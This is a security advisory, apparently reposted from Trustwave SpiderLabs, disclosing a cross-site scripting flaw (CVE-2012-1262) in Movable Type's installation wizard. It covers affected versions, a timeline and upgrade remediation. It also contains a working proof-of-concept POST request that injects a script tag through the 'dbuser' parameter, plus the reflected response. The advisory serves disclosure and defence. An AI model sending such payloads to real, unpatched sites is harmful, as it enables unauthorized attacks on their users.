Movable Type Publishing Platform Cross Site Scripting

2012.02.25
Credit: movabletype
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Trustwave's SpiderLabs Security Advisory TWSL2012-003: Cross-Site Scripting Vulnerability in Movable Type Publishing Platform https://www.trustwave.com/spiderlabs/advisories/TWSL2012-003.txt Published: 2012-02-24 Version: 1.0 Vendor: Six Apart (http://movabletype.org/) Product: Movable Type Version affected: Versions prior to 5.13, 5.07, and 4.38 Product description: Movable Type is a weblog publishing system developed by the company Six Apart. The software supports static page generation and includes functionality, such as managing files, user roles, templates, tags, categories, and trackback links. Credit: Jonathan Claudius of Trustwave SpiderLabs Finding 1: Cross-Site Scripting Vulnerability CVE: CVE-2012-1262 After extracting the Moveable Type CGI files and source files on to a web server, but before the application is fully installed, cross-site scripting vulnerabilities are present in the '/cgi-bin/mt/mt-wizard.cgi' page. Example(s): Performing XSS on "dbuser" parameter #Request POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D/cgi-bin/mt/mt-wizard.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 216 __mode=test&step=configure&set_static_uri_to=&default_language=en-us&config=&dbtype=mysql&dbserver=localhost&dbname=&dbuser=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&dbpass=test&dbpath=&dbport=&dbsocket=&test=1 #Response <--------------snip-----------> <p>Connection error: Access denied for user '<script>alert('123')</script>'@'localhost' (using password: YES) at /var/www/cgi-bin/mt/extlib/Data/ObjectDriver/Driver/BaseCache.pm line 320 <--------------snip-----------> Vendor Response: These issues have been addressed as of versions 5.13, 5.07, and 4.38. Remediation Steps: Customers should update to the latest version of Movable publishing platform in order to address these issues. The above issues have been corrected in versions 5.13, 5.07, and 4.38. Revision History: 01/11/12 - Vulnerability disclosed 02/21/12 - Patch released 02/24/12 - Advisory published References 1. http://www.movabletype.org/2012/02/movable_type_513_507_and_438_security_updates.html About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.

References:

https://www.trustwave.com/spiderlabs/advisories/TWSL2012-003.txt


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